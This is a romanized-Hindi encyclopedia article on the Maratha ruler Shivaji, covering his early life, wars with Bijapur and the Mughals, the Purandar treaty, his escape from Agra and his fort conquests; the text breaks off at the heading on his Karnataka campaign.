शिवाजी

shivaji vishay soochi

shivaji    parichay    arambhik jivan    shivaji aur jayasianh    agara yatra    rajyabhishek    rajanitik sthiti    mugaloan se sambandh    shivaji aur afazal khaan    soorat par akraman    durgoan par niyantran    karnatak abhiyan    prashasan    sainy vyavastha    rajasv prashasan    aantim samay    vyaktitv

shivaji
shivaji|200px|center
poora nam	shivaji raje bhoansale
janm	19 faravari, 1630
janm bhoomi	shivaneri, maharashtr
mrityu tithi	3 aprail, 1680
mrityu sthan	durg rayagadh
pita/mata	shahaji bhoansale, jijabaee
pati/patni	saibaeean nimbalakar
santan	sambhaji
upadhi	chhatrapati
shasan kal	1642 - 1680 ee.
sha. avadhi	38 varsh
rajyabhishek	6 joon, 1674 ee.
dharmik manyata	hindoo dharm
yuddh	mugaloan ke viruddh anek yuddh hue
nirman	anek qiloan ka nirman aur punaruddhar
sudhar-parivartan	hindoo rajy ki sthapana
rajadhani	durg rajagadh
poorvadhikari	shahaji bhoansale
uttaradhikari	sambhaji
rajagharana	maratha samrajy
vansh	bhoansale
smarak	maharashtr
sanbandhit lekh	tana ji, maharashtr, rayagadh, samarth guru ramadas, poona
any janakari	"shiv sootr" (gurilla yuddh) ka arambh kiya.

chhatrapati shivaji maharaj ka poora nam 'shivaji raje bhoansale' tha. shivaji ka janm 19 faravari, 1630 ee. ko shivaneri, maharashtr rajy mean hua. inake pita ka nam shahaji bhoansale aur mata ka nam jijabaee tha. shivaji bharat mean maratha samrajy ke sansthapak the. senanayak ke roop mean shivaji ki mahanata nirvivad rahi hai. shivaji ne anek qiloan ka nirman aur punaruddhar karavaya. unake nirdeshanusar san 1679 ee. mean annaji dattoan ne ek vistrit bhoo-sarvekshan karavaya, jisake parinamasvaroop ek naya rajasv nirdharan hua.

chitr:Seealso.gifshivaji ka ullekh in lekhoan mean bhi hai: shivaneri, amaty, tulaja bhavani evan sianhagadh durg

jivan parichay

inake pitaji shahaji bhoansale ne shivaji ko janm ke uparant hi apani patni jijabaee ko prayah tyag diya tha. unaka bachapan bahut upekshit raha aur ve sauteli maan ke karan bahut dinoan tak pita ke sanrakshan se vanchit rahe. unake pita shooravir the aur apani doosari patni tukabaee mohite par akarshit the. jijabaee uchch kul mean utpann pratibhashali hote hue bhi tiraskrit jivan ji rahi thian. jijabaee yadav vansh se thian. unake pita ek shaktishali aur prabhavashali samant the. balak shivaji ka lalan-palan unake sthaniy sanrakshak dadaji konadev tatha jijabaee ke samarth guru ramadas ki dekharekh mean hua. mata jijabaee tatha guru ramadas ne kore pustakiy jnan ke prashikshan par adhik bal n dekar shivaji ke mashtishk mean yah bhavana bhar di thi ki desh, samaj, gau tatha brahmanoan ko musalamanoan ke utpi dan se mukt karana unaka param kartavy hai. shivaji sthaniy logoan ke bich rahakar shighr hi unamean atyadhik sarvapriy ho gaye. unake sath as-pas ke kshetroan mean bhraman karane se unako sthaniy durgoan aur darroan ki bhali prakar vyaktigat janakari prapt ho gayi. kuchh svamibhakt logoan ka ek dal banakar unhoanne unnis varsh ki ayu mean poona ke nikat tiran ke durg par adhikar karake apana jivan-kram arambh kiya. unake hriday mean svadhinata ki lau jalati thi. unhoanne kuchh svamibhakt sathiyoan ko sangathit kiya. dhire dhire unaka videshi shasan ki be diyaan to dane ka sankalp prabal hota gaya. shivaji ka vivah saibaeean nimbalakar ke sath sanh 1641 mean bangalaur mean hua tha. unake guru aur sanrakshak konadev ki 1647 mean mrityu ho gee. isake bad shivaji ne svatantr rahane ka nirnay liya.

aranbhik jivan aur ullekhaniy saphalataean

shivaji prabhavashali kulinoan ke vanshaj the. us samay bharat par muslim shasan tha. uttari bharat mean mugaloan tatha dakshin mean bijapur aur golakuanda mean muslim sultanoan ka, ye tinoan hi apani shakti ke zor par shasan karate the aur praja ke prati kartavy ki bhavana nahian rakhate the. shivaji ki paitrik jayadad bijapur ke sultan dvara shasit dakkan mean thi. unhoanne musalamanoan dvara kie ja rahe daman aur dharmik utpi dan ko itana asahaniy paya ki 16 varsh ki ayu tak pahuanchate-pahuanchate unhean vishvas ho gaya ki hinduoan ki mukti ke lie eeshvar ne unhean niyukt kiya hai. unaka yahi vishvas jivan bhar unaka margadarshan karata raha. unaki vidhava mata, jo svatantr vicharoan vali hindoo kulin mahila thi, ne janm se hi unhean dabe-kuchale hianduoan ke adhikaroan ke lie l dane aur muslim shasakoan ko ukha d phaiankane ki shiksha di thi. apane anuyayiyoan ka dal sangathit kar unhoanne lagabhag 1655 mean bijapur ki kamazor sima chaukiyoan par kabza karana shuroo kiya. isi daur mean unhoanne sultanoan se mile hue svadharmiyoan ko bhi samapt kar diya. is tarah unake sahas v sainy nipunata tatha hinduoan ko satane valoan ke prati k de rookh ne unhean am logoan ke bich lokapriy bana diya. unaki vidhvansakari gatividhiyaan badhati gee aur unhean sabak sikhane ke lie anek chhote sainik abhiyan asaphal hi siddh hue. jab 1659 mean bijapur ke sultan ne unake khilaf afazal khaan ke netritv mean 10,000 logoan ki sena bheji tab shivaji ne darakar bhagane ka natak kar sena ko kathin paha di kshetr mean phusala kar bula liya aur atmasamarpan karane ke bahane ek mulakat mean afazal khaan ki hatya kar di. udhar pahale se ghat lagae unake sainikoan ne bijapur ki bekhabar sena par achanak hamala karake use khatm kar dala, ratoan rat shivaji ek ajey yoddha ban ge. jinake pas bijapur ki sena ki bandookean, gho de aur gola-barood ka bhandar tha. 200px|left

shakti mean vriddhi

shivaji ki badhati huee shakti se chiantit ho kar mugal badashah aurangazeb ne dakshin mean niyukt apane soobedar ko un par chadhaee karane ka adesh diya. usase pahale hi shivaji ne adhi rat ko soobedar ke shivir par hamala kar diya. jisamean soobedar ke ek hath ki uangaliyaan kat gee aur usaka beta mara gaya. isase soobedar ko pichhe hatana p da. shivaji ne manoan mugaloan ko aur chidhane ke lie sanpann tatiy nagar soorat par hamala kar diya aur bhari sanpatti loot li. is chunauti ki anadekhi n karate hue aurangazeb ne apane sabase prabhavashali senapati mirja raja jayasianh ke netritv mean lagabhag 1,00,000 sainikoan ki fauj bheji. itani b di sena aur jayasianh ki himmat aur dridhata ne shivaji ko shaanti samajhaute par majaboor kar diya.

shivaji aur jayasianh

shivaji ko kuchalane ke lie raja jayasianh ne bijapur ke sultan se sandhi kar purandar ke qile ko adhikar mean karane ki apane yojana ke pratham charan mean 24 aprail, 1665 ee. ko 'vrajagadh' ke qile par adhikar kar liya. purandar ke qile ki raksha karate hue shivaji ka atyant vir senanayak 'murar ji baji' mara gaya. purandar ke qile ko bacha pane mean apane ko asamarth janakar shivaji ne maharaja jayasianh se sandhi ki peshakash ki. donoan neta sandhi ki shartoan par sahamat ho gaye aur 22 joon, 1665 ee. ko 'purandar ki sandhi' sampann huee.

sandhi ki shartean

itihas prasiddh is sandhi ki pramukh shartean nimnalikhit thian-

1. shivaji ko mugaloan ko apane 23 qile, jinaki amadani 4 lakh hoon prati varsh thi, dene the.
2. samany ay vale, lagabhag ek lakh hoon varshik ki amadani vale, 12 qile shivaji ko apane pas rakhane the.
3. shivaji ne mugal samrat aurangazeb ki seva mean apane putr shambhaji ko bhejane ki bat man li evan mugal darabar ne shambhaji ko 5000 ka manasab evan uchit jagir dena svikar kiya.

1. mugal sena ke dvara bijapur par sainy abhiyan ke dauran balaghat ki jagirean prapt hoti, jisake lie shivaji ko mugal darabar ko 40 lakh hoon dena tha.

agara yatra

apani suraksha ka poorn ashvasan prapt kar shivaji agara ke darabar mean aurangazeb se milane ke lie taiyar ho gaye. vah 9 mee, 1666 ee ko apane putr shambhaji evan 4000 maratha sainikoan ke sath mugal darabar mean upasthit hue, parantu aurangazeb dvara uchit samman n prapt karane par shivaji ne bhare hue darabar mean aurangazeb ko 'vishvasaghati' kaha, jisake parinamasvaroop aurangazeb ne shivaji evan unake putr ko 'jayapur bhavan' mean qaid kar diya. vahaan se shivaji 13 agast, 1666 ee ko phaloan ki tokari mean chhipakar farar ho gaye aur 22 sitambar, 1666 ee. ko rayagadh pahuanche. kuchh din bad shivaji ne mugal samrat aurangazeb ko patr likhakar kaha ki "yadi samrat use (shivaji) ko kshama kar dean to vah apane putr shambhaji ko punah mugal seva mean bhej sakate haian." aurangazeb ne shivaji ki in shartoan ko svikar kar use 'raja' ki upadhi pradan ki. jasavant sianh ki madhyasthata se 9 march, 1668 ee. ko punah shivaji aur mugaloan ke bich sandhi huee. is sandhi ke bad aurangazeb ne shivaji ko barar ki jagir di tatha unake putr shambhaji ko punah usaka manasab 5000 pradan kar diya.

sandhi ka ullanghan

1667-1669 ee. ke bich ke tin varshoan ka upayog shivaji ne vijit pradeshoan ko sudridh karane aur prashasan ke karyoan mean bitaya. 1670 ee. mean shivaji ne 'purandar ki sandhi' ka ullanghan karate hue mugaloan ko diye gaye 23 qiloan mean se adhikaansh ko punah jit liya. tanaji malasure dvara jita gaya 'koandana', jisaka faravari, 1670 ee. mean shivaji ne nam badalakar 'sianhagadh' rakha diya tha, sarvadhik mahatvapoorn qila tha.

13 aktoobar, 1670 ee. ko shivaji ne tivragati se soorat par akraman kar doosari bar is bandaragah nagar ko loota. shivaji ne apani is mahatvapoorn saphalata ke bad dakshin ki mugal riyasatoan se hian nahian, balki unake adhin rajyoan se bhi 'chauth' evan 'saradeshamukhi' lena arambh kar diya. 15 faravari, 1671 ee. ko 'salehar durg' par bhi shivaji ne qabza kar liya. shivaji ke vijay abhiyan ko rokane ke lie aurangazeb ne mahavat khaan evan bahadur khaan ko bheja. in donoan ki asaphalata ke bad aurangazeb ne bahadur khaan evan diler khaan ko bheja. is tarah 1670-1674 ee. ke madhy hue sabhi mugal akramanoan mean shivaji ko hi saphalata mili aur unhoanne salehar, mulehar, javahar evan ramanagar adi qiloan par adhikar kar liya. 1672 ee. mean shivaji ne panhala durg ko bijapur se chhin liya. marathoan ne pali aur satara ke durgoan ko bhi jit liya.

rajanitik sthiti

dakshin ki tatkalin rajanitik sthiti bhi ek sashakt maratha aandolan ke uday mean sahayak huee. ahamad nagar rajy ke bikharav aur akabar ki mrityu ke pashchat dakshin mean mugal samrajy ke vistar ki dhimi gati ne mahattvakaankshi sainy abhiyanoan ko protsahit kiya. yah bhi ullekhaniy hai ki is samay tak marathe anubhavi l dake jati ke roop mean khyati prapt kar chuke the. dakshini saltanatoan evan mugaloan, donoan hi pakshoan ki or se ve saphalatapoorvak yuddh kar chuke the. unake pas avashyak sainy prashikshan aur anubhav to tha hi, jab samay aya to unhoanne isaka upayog rajy ki sthapana ke lie kiya. yah kahana to kathin hai ki marathoan ke utthan mean uparyukt tathy kahaan tak uttaradayi the aur isamean apana svatantr rajy sthapit karane ki dridh ichchha shakti ka kitana hath tha. phir bhi, yadi shivaji ki nitiyoan ke samajik pahaluoan aur unaka sath dene vale logoan ki samajik sthiti ka vishleshan kiya jae to sthiti bahut sima tak spasht ho sakati hai.

kisanoan ke sath sidha sanbandh

[[chitr:Shivaji-Maharaj-With-Jijamata.jpg|shivaji maharaj ki pratima, jijamata ke sath|thumb|220px]]

itihasakar b de utsahapoorvak shivaji ke kraantikari bhoo-kar sudharoan ki bat karate haian, jinhoanne udiyaman rajy ko ek vistrit samajik adhar pradan kiya. ranade likhate haian,

'shivaji ne dridh nishchay kar liya tha ki ve kisi bhi nagarik ya sainy pramukh ko jagirean nahian deange. bharat mean keandr vimukh evan bikharav ki pravrittiyaan sada hi balavan rahi haian, aur jagirean dene ki pratha, jagiradaroan ko bhoo-kar se prapt dhan dvara alag se apani sena rakhane ki anumati dene se yah pravritti itani prabal ho jati hai ki suvyavasthit shasan lagabhag asanbhav ho jata hai––apane shasan kal mean shivaji ne keval mandiroan ko evan dan dharm ki disha mean hi bhoomi pradan ki thi.'

jadunath sarakar ne bhi uparyukt mat ka hi samarthan kiya hai aur kaha hai ki shivaji kisanoan ko apani or isilie kar sake ki unhoanne zamidari aur jagiradari pratha ko band kiya aur rajasv prashasan ke madhyam se kisanoan ke sath sidha sanbandh sthapit kiya.

[[chitr:Sinhagarh-Fort-Pune.jpg|thumb|sianhagadh qila, pune|250px|left]] kiantu sabhasad ka dhyanapoorvak adhyayan karane se jnat hota hai ki shivaji ke rajasv prashasan ke sanbandh mean aise b de-b de dave karana niradhar hai aur ise jaldabazi mean banaee gee dharana hi kaha jaega. unaka kahana hai ki shivaji ne desaeeyoan ke durgoan aur sudridh jamav ko nasht kiya aur jahaan kahian mazaboot qile the vahaan apani durg-sena rakhi. unaka yah bhi kahana hai ki shivaji ne mirasadaroan dvara manamane dhang se vasool kie jane vale upaharoan ya hazare ko band karavaya aur naqad evan anaj ke roop mean gaanvoan se jamiandaroan ka hissa nishchit kiya. sath hi unhoanne deshamukhoan, deshakulakarniyoan, patiloan aur kulakarniyoan ke adhikar evan anulabh bhi tay kie, inhian kathanoan se prerit hokar adhunik itihasakar kahate haian ki shivaji ne bhoomi pradan karane ki pratha ko samapt kar diya tha. yah saty hai ki sabhasad aisi sanbhavana ki bat karata hai kiantu kadachit yah shivaji ya svayan sabhasad ka apekshit adarsh raha ho, kyoanki vah svayan ekadhik sthanoan par shivaji dvara bhoomi pradan kie jane ki bat kahata hai. yahi lakshy ek any tatkalin rachana ajnapatr mean dhvanit hota hai, jisamean kaha gaya hai ki vartaman vatan vaise hi chalate raheange aur unake pas jo bhi hai usamean tho di bhi vriddhi nahian ki jaegi aur n hi use ratti bhar kam kiya jaega. isamean yah chetavani bhi di gee hai ki 'kisi vritti (vatan) ka pratyadan karana pap hai---bhale hi vah kitani hi chhoti kyoan n ho.' uchit sandarbh mean rakhe jane par sabhasad ke kathan ka arth spasht ho jata hai. patil, kulakarni aur deshamukh rajasv ekatr karate the aur usamean se rajy ko apani ichchhanusar aansh dete the jo prayah bahut kam hota tha. dhire-dhire unhoanne apani sthiti atyant sudridh kar li, durg ityadi banava lie, aur pyade evan bandookachi lekar chalane lage. ve sarakari rajasv adhikari ki paravah nahian karate the aur yadi vah adhik rajasv ki maang karata tha to l daee-jhag de par utar ate the. yah varg vidrohi ho utha tha. inhian ki gadhiyoan aur durgoan par shivaji ne dhava bola tha. [[chitr:Statue-Shivaji-Pratapgarh-Fort-2.jpg|shivaji maharaj ki pratima, maharashtr|thumb|250px]]

rajasv vasooli

spasht hai ki shivaji shaantipriy zamidaroan ke nahian apitu keval unhian ke viruddh the jo unake rajanitik hitoan ke lie ganbhir khatara ban ge the. spasht hai ki ve rajasv vasooli ki sanpoorn mashinari ko samapt nahian kar sakate the. isalie aisa nahian hai ki isake sthan par nee vyavastha lane ke lie unake pas prashikshit vyakti nahian the. ve keval itana chahate the ki rajasv ki g dab di door ho aur rajy ko uchit aansh mile. yah bhi spasht hai ki shivaji ko b de deshamukhoan ke virodh ka samana karana p da. ye deshamukh svatantr maratha rajy ke paksh mean nahian the aur bijapur ke saanmat hi bane rahana chahate the jisase apane vatanoan ke prashasan mean adhik svayatt rah sakean. yahi shivaji ka dharmasankat tha. deshamukhoan ke samarthan ke bina ve svatantr maratha rajy ki sthapana nahian kar sakate the. atah shivaji ne is nazuk rajanitik sthiti ka samana karane ke lie bhay aur priti ki niti apanaee. kuchh b de deshamukhoan ko to unhoanne sainy shakti se parajit kiya aur kuchh ke sath vaivahik sanbandh sthapit kie. b de deshamukhoan ke sath shivaji ki is anokhi l daee mean chhote deshamukhoan ne shivaji ka sath diya. b de deshamukh chhote deshamukhoan ko satate the aur zamin ki bandobasti aur krishi ko badhava dene ki shivaji ki niti chhote deshamukhoan ke lie hitakar thi. sanpoorn dakshin par shivaji ke saradeshamukhi ke dave ko isi sandarbh mean dekha jana chahie. isake atirikt more, shirke aur nianbalakar deshamukhoan ke parivaroan mean vivah sanbandh karake bhi shivaji ne apana samajik rutaba badhaya. isase maratha samaj mean unaki sammanajanak svikriti saral ho gee.

mugaloan aur dakshini rajyoan ke sath sanbandh

yadyapi marathe pahale hi apani svatantr pahachan banane ke prati sachet hone lage the phir bhi unhean sangathit karane aur unamean ek rajanitik lakshy ke prati chetana jagane ka kary shivaji ne hi kiya. shivaji ki pragati ka lekha marathoan ke utthan ko pratibianbit karata hai. 1645-47 ke bich 18 varsh ki avastha mean unhoanne poona ke nikat anek paha di qiloan par vijay prapt ki. jaise- rayagadh, kodanna aur torana. phir 1656 mean unhoanne shaktishali maratha pramukh chandrarav more par vijay prapt ki aur javali par adhikar kar liya, jisane unhean us kshetr ka nirvivad svami bana diya aur satara evan koankan vijay ka marg prashast kar diya. shivaji ki in vistaravadi gatividhiyoan se bijapur ka sultan shankit ho utha kiantu usake mantriyoan ne salah di ki vah philahal chupachap sthiti par nigah rakhe. kiantu jab shivaji ne kalyan par adhikar kar liya aur koankan par dhava bol diya to sultan apa kho baitha aur usane shahaji ko qaid karake unaki jagir chhin li. isase shivaji jhukane ke lie vivash ho ge aur unhoanne vachan diya ki ve aur hamale nahian kareange. kiantu unhoanne b di chaturaee se mugal shahajada murad, jo mugal soobedar tha, se mitrata sthapit ki aur mugaloan ki seva mean jane ki bat kahi. isase bijapur ke sultan ki chianta badh gee aur usane shahaji ko mukt kar diya. shahaji ne vada kiya ki usaka putr apani vistaravadi gatividhiyaan chho d dega. atah agale chhah varshoan tak shivaji dhire-dhire apani shakti sridridh karate rahe. isake atirikt mugaloan ke bhay se mukt bijapur maratha gatividhiyoan ka daman karane mean saksham tha—is karan bhi shivaji ko shaanti banae rakhane ke lie vivash hona p da. kiantu jab aurangazeb uttar chala gaya to shivaji ne apani vijayoan ka silasila phir aranbh kar diya. jisaki kimat chukani p di bijapur ko. bagh nakha|left|thumb|250px

chitr:Blockquote-open.gif jab 1659 mean bijapur ke sultan ne unake khilaf afazal khaan ke netritv mean 10,000 logoan ki sena bheji. afazal khaan ne shivaji ko nimantran bheja aur vada kiya ki vah unhean sultan se mafi dilava dega. kiantu brahmanadoot krishnaji bhashkar ne afazal khaan ka vastavik uddeshy shivaji ko bata diya. sari bat janate hue shivaji kisi bhi dhokhe ka samana karane ke lie shivaji taiyar hokar ge aur arakshit hokar jane ka natak kiya. gale milane ke bahane afazal khaan ne shivaji ka gala dabane ka prayas kiya kiantu shivaji to taiyar hokar ae the—unhoanne baghanakh se usaka kam tamam kar diya. chitr:Blockquote-close.gif

afazal khaan ke sath yuddh

unhoanne samudr aur ghatoan ke bich tatiy kshetr koankan par dhava bol diya aur usake uttari bhag par adhikar kar liya. svabhavik tha ki bijapur ka sultan unake viruddh sakht karravaee karata. usane afazal khaan ke netritv mean 10,000 sainikoan ki tuk di shivaji ko pak dane ke lie bheji. un dinoan chhal-kapat aur vishvasaghat ki niti apanana am bat thi aur shivaji aur afazal khaan donoan ne hi anek avasaroan par isaka sahara liya. shivaji ki sena ko khule maidan mean l dane ka abhyas nahian tha, atah vah afazal khaan ke sath yuddh karane se katarane laga. afazal khaan ne shivaji ko nimantran bheja aur vada kiya ki vah unhean sultan se mafi dilava dega. kiantu brahmanadoot krishnaji bhashkar ne afazal khaan ka vastavik uddeshy shivaji ko bata diya. sari bat janate hue shivaji kisi bhi dhokhe ka samana karane ke lie shivaji taiyar hokar ge aur arakshit hokar jane ka natak kiya. gale milane ke bahane afazal khaan ne shivaji ka gala dabane ka prayas kiya kiantu shivaji to taiyar hokar ae the—unhoanne baghanakh se usaka kam tamam kar diya. is ghatana ko lekar graant daf jaise yooropiy itihasakar shivaji par vishvasaghat aur hatya ka arop lagate haian jo sarasar galat hai kyoanki shivaji ne atmaraksha mean hi aisa kiya tha. is vijay se mitr aur shatru donoan hi pakshoan mean shivaji ka samman badh gaya. dooradaraz ke ilakoan se javan unaki sena mean bharati hone ke lie ane lage. shivaji mean unaki atoot astha thi. is bich dakshin mean maratha shakti ke is chamatkari utthan par aurangazeb barabar drishti rakhe hue tha. poona aur usake asapas ke kshetroan, jo ahamad nagar rajy ke hisse the aur 1636 ki sandhi ke aantargat bijapur ko sauanp die ge the, ko ab mugal vapas maangane lage. pahale to bijapur ne mugaloan ki is bat ko man liya tha ki vah shivaji se nipat lega aur is par kuchh sima tak amal bhi kiya gaya kiantu bijapur ka sultan yah bhi nahian chahata tha ki shivaji poori tarah nasht ho jaean. kyoanki tab use mugaloan ka sidha samana karana p data. thumb|chhatrapati shivaji ki pratima aurangazeb ne apane sanbandhi shaista khaan ko shivaji se nipatane ki zimmedari sauanpi. shaista khaan dakshini soobe ka soobedar tha. atmavishvas bhare soobedar shahasta khaan ne poona par kabza kar liya, chakan ke qiloan ko apane adhikar mean le liya aur do varshoan ke bhitar hi usane kalyan sahit sanpoorn uttari koankan par apana adhipaty sthapit kar liya. keval dakshin ki kuchh jagirean hi shivaji ke pas rah geean. shaista khaan ko asha thi ki varsha samapt hone par vah unhean bhi jit lega. shivaji ne is avasar ka labh uthaya. unhoanne chune hue char sau sipahi lekar barat ka saj sajaya aur poona mean pravisht ho ge. adhi rat ke samay unhoanne soobedar ke ghar dhava bol diya. soobedar aur usake sipahi taiyar nahian the. naukarani ki hoshiyari se shaista khaan to bach nikala kiantu mugal sena ko maut ke ghat utar diya gaya.

is ghatana ne mugal samrajy ki shan ko ghataya aur shivaji ke hausale tatha pratishtha ko badha diya. aurangazeb ke krodh ki sima n rahi. jasavant sianh ki nishtha par sandeh hua aur shaista khaan ko bangal bhej diya. is bich shivaji ne ek aur dussahik abhiyan kiya. unhoanne soorat par dhava bol diya. soorat mugaloan ka ek mahattvapoorn qila tha. shivaji ne use ji bhar kar loota (1664) aur dhanadaulat se lad kar ghar laute. 1665 ee. ke aranbh mean aurangazeb ne raja jayasianh ke netritv mean ek any sena shivaji ka daman karane ke lie bheji. jayasianh jo ki kachhavaha raja tha, yuddh aur shaanti, donoan hi ki kalaoan mean nipun tha. vah b da chatur kootanitijn tha aur usane samajh liya ki bijapur ko jitane ke lie shivaji se maitri karana avashyak hai. atah purandhar ke qile par mugaloan ki vijay aur rayagadh ki gherabandi ke bavajood usane shivaji se sandhi ki. purandhar ki yah sandhi joon 1665 ee. mean huee jisake anusar— thumb|chhatrapati shivaji ki pratima|250px|left

• shivaji ko char lakh hoon varshik amadani vale teees qile mugaloan ko sauanpane p de aur unhoanne apane lie samany ay vale keval barah qile rakhe.
• mugaloan ne shivaji ke putr sambhaji ko panj hazari mansubadari evan uchit jagir dena svikar kiya.
• mugaloan ne shivaji ke vivekarahit aur bevafa vyavahar ko kshama karana svikar kar liya.
• shivaji ko koankan aur balaghat mean jagirean di jani thi jinake badale unhean mugaloan ko terah kistoan mean chalis lakh hoon ki raqam ada karani thi. sath hi unhean bijapur ke khilaf mugaloan ki sahayata bhi karani thi.

shahi naukari

yah sandhi raja jayasianh ki vyaktigat vijay thi. vah n keval shaktishali shatru par kaboo pane mean saphal raha tha apitu usane bijapur rajy ke viruddh usaka sahayog bhi prapt kar liya tha. kiantu usaka parinam achchha nahian hua. darabar mean shivaji ko paanch hazari manasubadaroan ki shreni mean rakha gaya. yah ohada unake nabalig putr ko pahale hi pradan kar diya gaya tha. ise shivaji ne apana apaman samajha. badashah ka janmadin manaya ja raha tha aur usake pas shivaji se bat karane ki phursat bhi nahian thi apamanit hokar shivaji vahaan se chale ae aur unhoanne shahi naukari karana asvikar kar diya. turant mugal adab ke khilaf kary karane ke lie unhean giraftar kar liya gaya. darabariyoan ka gut unhean dand die jane ke paksh mean tha kiantu jayasianh ne badashah se prarthana ki ki mamale mean narami baratean. kiantu koee bhi nirnay lie jane se poorv hi shivaji qaid se bhag nikale. [[chitr:Purandarh-Fort-Pune-1.jpg|thumb|250px|purandar qila, pune|250px]]

uchchakul kshatriy

isamean koee sandeh nahian ki shivaji ki agara yatra mugaloan ke sath marathoan ke sanbandhoan ki drishti se nirnayak siddh huee. aurangazeb shivaji ko mamooli bhoomis samajhata tha. bad ki ghatanaoan ne siddh kiya ki shivaji ke prati aurangazeb ka drishtikon, shivaji ke mahattv ko asvikar karana aur unaki mitrata ke mooly ko n samajhana rajanitik drishti se usaki bahut b di bhool thi. shivaji ke sangharsh ki tarkik poornahooti huee 1647 ee. mean chhatrapati ke roop mean unaka aupacharik rajyabhishek hua. sthaniy brahman shivaji ke rajyarohan ke utsav mean bhag lene ke ichchhuk nahian the kyoanki unaki drishti mean shivaji uchch kul kshatriy nahian the. atah unhoanne varanasi ke ek brahman ganga bhatt ko is bat ke lie sahamat kiya ki vah unhean uchchakul kshatriy aur raja ghoshit kare. is ek vyavastha se hokar shivaji dakshini sultanoan ke samakaksh ho ge aur unaka darja vidrohi ka n rahakar ek pramukh ka ho gaya. any maratha saradaroan ke bich bhi shivaji ka rutaba badh gaya. unhean shivaji ki svadhinata svikar karani p di aur mirasapatti kar bhi chukana p da. rajyarohan ke pashchat shivaji ki pramukh upalabdhi thi 1677 mean karnatak kshetr par unaki vijay jo unhoanne kutubashah ke sath milakar prapt ki thi. jinji, veller aur any durgoan ki vijay ne shivaji ki pratishtha mean vriddhi ki.

durgoan par niyantran

shivaji ne kee durgoan par adhikar kiya jinamean se ek tha sianhagadh durg, jise jitane ke lie unhoanne tana ji ko bheja tha. aur ve vahaan se vijayi hue. tana ji shivaji ke bahut vishvasapatr senapati the. jinhoanne sianhagadh ki l daee mean viragati paee thi. tana ji ke pas bahut achchhi tarah se sadhaee huee goh thi. jisaka nam yashavanti tha. shivaji ne tana ji ki mrityu par kaha tha-

gadh ala pan sianh gela (gadh to hamane jit liya par sianh hamean chho d kar chala gaya).

bijapur ke sultan ki rajy simaoan ke aantargat rayagadh (1646) mean chakan, sianhagadh aur purandar sarikhe durg bhi shighr unake adhikaroan mean a gaye. 1655 ee. tak shivaji ne koankan mean kalyan aur jabali ke durg par bhi adhikar kar liya. unhoanne jabali ke raja chandradev ka balapoorvak vadh karava diya. shivaji ki rajy vistar ki niti se kruddh hokar bijapur ke sultan ne 1659 ee. mean afazal khaan namak apane ek varishth senanayak ko vishal sainy bal sahit shivaji ka daman karane ke lie bheja. donoan pakshoan ko apani vijay ka poorn vishvas nahian tha. atah unhoanne sandhivarta prarambh kar di. donoan ki bheant ke avasar par afazal khaan ne shivaji ko daboch kar mar dalane ka prayatn kiya. parantu ve isake prati pahale se hi sajag the. unhoanne apane gupt shastr baghanakha ka prayog karake musalaman senani ka pet pha d dala. jisase usaki tatkal mrityu ho gee. taduparant shivaji ne ek vikat yuddh mean bijapur ki senaoan ko parast kar diya. isake bad bijapur ke sultan ne shivaji ka samana karane ka sahas nahian kiya.

thumb|250px|chhatrapati shivaji maharaj ka sikka ab unhean ek aur prabal shatru mugal samrat aurangazeb ka samana karana p da. 1660 ee. mean aurangajeb ne apane mama shayasta khaan namak senadhyaksh shivaji ke viruddh bheja. shayasta khaan ne shivaji ke kuchh durgoan par adhikar karake unake kendr-sthal poona par bhi adhikar kar liya. kintu shighr hi shivaji ne achanak ratri mean shayasta khaan par akraman kar diya. jisase usako apana ek putr apane hath ki tin aanguliyaan ganvakar apane pran bachane p de. shayasta khaan ko vapas bula liya gaya. phir bhi aurangazeb ne shivaji ke viruddh naye senadhyakshoan ki sanraksha mean navin sainyadal bhejakar yuddh jari rakha. shivaji ne 1664 ee. mean mugaloan ke adhinasth soorat ko loot liya, kintu mugal senadhyaksh mirja raja jayasianh ne unake adhikaansh durgoan par adhikar kar liya, jisase shivaji ko 1665 ee. mean purandar ki sandhi karani p di. usake anusar unhoanne keval 12 durg apane adhikar mean rakhakar 23 durg mugaloan ko de diye aur raja jayasianh dvara apani suraksha ke prati ashvast hokar agara mean mugal darabar mean upasthit hone ke lie prasthan kiya.

agara se bach nikalana

shivaji nahian hare aur apani bimari ka bahana banaya. unhoanne mithaee ke b de-b de tokare gariboan mean baantane ke lie bhijavane shuroo kie. 17 agast 1666 ko vah apane putr ke sath tokare mean baithakar paharedaroan ke samane se chhip kar nikal ge. unaka bach nikalana, jo shayad unake natakiy jivan ka sabase romaanchak karanama tha, bharatiy itihas ki disha badalane mean nirnayak sabit hua. unake anugamiyoan ne unaka apane neta ke roop mean svagat kiya aur do varsh ke samay mean unhoanne n sirf apana purana kshetr hasil kar liya, balki usaka vistar bhi kiya. vah mugal ziloan se dhan vasoolate the aur unaki samriddh mandiyoan ko bhi lootate the. unhoanne apani sena ka punargathan kiya aur praja ki bhalaee ke lie apekshit sudhar kie. ab tak bharat mean paanv jama chuke purtagali aur aangrez vyapariyoan se sikh le kar unhoanne nausena ka gathan shuroo kiya. is prakar adhunik bharat mean vah pahale shasak the, jinhoanne vyapar aur suraksha ke lie nausena ki avashyakata ke mahattv ko svikar kiya. shivaji ke utkarsh se kshubdh hokar aurangazeb ne hinduoan par atyachar karana shuroo kar diya, un par kar lagana, zabaradasti dharm parivartan karae aur mandiroan ko gira kar unaki jagah par masjidean banavaee.

rajyabhishek

mee 1666 ee. mean shahi darabar mean upasthit hone par unake sath tritiy shreni ke manasubadaroan se sadrish vyavahar kiya gaya aur unhean nazaraband kar diya gaya. kintu shivaji chalaki se apane alpavayask putr shambhuji aur apane vishvast anucharoan sahit nazarabandi se bhag nikale. sannyasi ke vesh mean drutagami ashvoan ki sahayata se ve disambar 1666 ee. mean apane pradesh mean pahuanch gaye. agale varsh aurangazeb ne nirupay hokar shivaji ko raja ki upadhi pradan ki, aur isake bad do varshoan tak shivaji aur mugaloan ke bich shanti rahi. thumb|250px|shivaji maharaj ka sianhasan|left shivaji ne in varshoan mean apani shasan-vyavastha sangathit ki. 1671 ee. mean unhoanne mugaloan se punah sangharsh praranbh kiya aur khanadesh ke kuchh bhoo-bhagoan ke sthaniy mugal padadhikariyoan ko suraksha ka vachan dekar unase chauth vasool karane ka likhit ikararanama le liya aur doosari bar soorat ko loota. 6 joon 1674 ee. mean rayagadh ke durg mean maharashtr ke svadhin shasak ke roop mean unaka rajyabhishek hua.

karnatak abhiyan

